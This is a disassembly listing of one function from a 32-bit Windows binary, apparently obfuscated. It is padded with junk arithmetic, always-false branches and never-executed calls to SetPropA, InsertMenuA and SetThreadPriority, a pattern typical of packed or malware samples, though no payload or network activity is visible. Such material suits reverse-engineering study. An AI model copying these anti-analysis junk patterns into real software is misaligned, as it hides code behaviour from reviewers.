mov dword [ebp - 0x1534], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1360], eax
mov eax, dword [ebp - 0x60]
dec eax
je 0x100386a8
mov dword [ebp - 0x14a4], 4
mov dword [ebp - 0xda4], 0xfffffffe
mov dword [ebp - 0x1368], 0x79c90e69
mov dword [ebp - 0x110], 0
jmp 0x1003866e
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xfffffffc
jg 0x1003869a
mov dword [ebp - 0x584], 1
mov eax, dword [ebp - 0x584]
dec eax
mov dword [ebp - 0x584], eax
mov dword [ebp - 0xda4], 0xfffffffb
jmp 0x10038661
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x110], eax
jmp 0x100386d5
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x110], eax
mov byte [ebp - 0x1a5], 0
movzx eax, byte [ebp - 0x1a5]
test eax, eax
je 0x100386d5
push 0
push 0
push 0x9b2
call dword [sym.imp.USER32.dll_SetPropA]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xff4]
mov dword [ebp - 0x1560], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [ebp + eax - 0xff4]
jne 0x10038707
mov dword [ebp - 0x58c], 1
jmp 0x1003870e
and dword [ebp - 0x58c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x58c]
sub ecx, dword [ebp + eax - 0xdac]
cmp ecx, dword [ebp - 0x60]
jg 0x10038732
mov dword [ebp - 0x594], 1
jmp 0x10038739
and dword [ebp - 0x594], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xff4]
add eax, dword [ebp - 0x594]
cmp eax, dword [ebp - 0x60]
jle 0x1003875d
mov dword [ebp - 0x59c], 1
jmp 0x10038764
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x59c], eax
je 0x1003877e
mov dword [ebp - 0x5a4], 1
jmp 0x10038785
and dword [ebp - 0x5a4], 0
cmp dword [ebp - 0x5a4], 0xe341
jle 0x1003879d
mov dword [ebp - 0x5ac], 1
jmp 0x100387a4
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x5ac]
sub eax, 0x5c25
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jl 0x10038948
mov dword [ebp - 0xdb4], 1
mov dword [ebp - 0x118c], 0x4a8a5a2d
mov dword [ebp - 0x1188], 0x4a8a5a2d
mov dword [ebp - 0x1184], 0x4a8a5a2d
mov dword [ebp - 0x1180], 0x4a8a5a2d
lea ecx, [ebp - 0x461]
call fcn.1001bb39
push eax
lea eax, [ebp - 0x117c]
push eax
lea eax, [ebp - 0x118c]
push eax
lea ecx, [ebp - 0x166c]
call fcn.1001bb3c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x14e0]
call fcn.1001ba8c
mov dword [ebp - 4], 0x4f
mov dword [ebp - 0xdc4], 0
mov dword [ebp - 0x5cc], 0xfffffff8
mov dword [ebp - 0xdbc], 0x69abc45
mov dword [ebp - 0xdcc], 0xcd9e91b6
mov eax, dword [ebp - 0xdb4]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x10038880
mov dword [ebp - 0x5b4], 1
jmp 0x10038887
and dword [ebp - 0x5b4], 0
cmp dword [ebp - 0x5cc], 1
jl 0x1003889c
mov dword [ebp - 0x5bc], 1
jmp 0x100388a3
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5bc]
jg 0x100388bd
mov dword [ebp - 0x5c4], 1
jmp 0x100388c4
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0xdbc], eax
mov esi, dword [ebp - 0x5cc]
mov edi, dword [ebp - 0xdc4]
push 2
lea ecx, [ebp - 0x14e0]
call fcn.1001bad7
imul edi, dword [eax]
cmp edi, esi
jle 0x100388fc
mov dword [ebp - 0x5d4], 1
jmp 0x10038903
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0xdcc], eax
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x10038937
push 0
push 0
push 0xde2
push 0x24ef
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14e0]
call fcn.1001bab2
jmp 0x10038967
mov byte [ebp - 0x199], 0
movzx eax, byte [ebp - 0x199]
test eax, eax
je 0x10038967
push 0x17d4
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret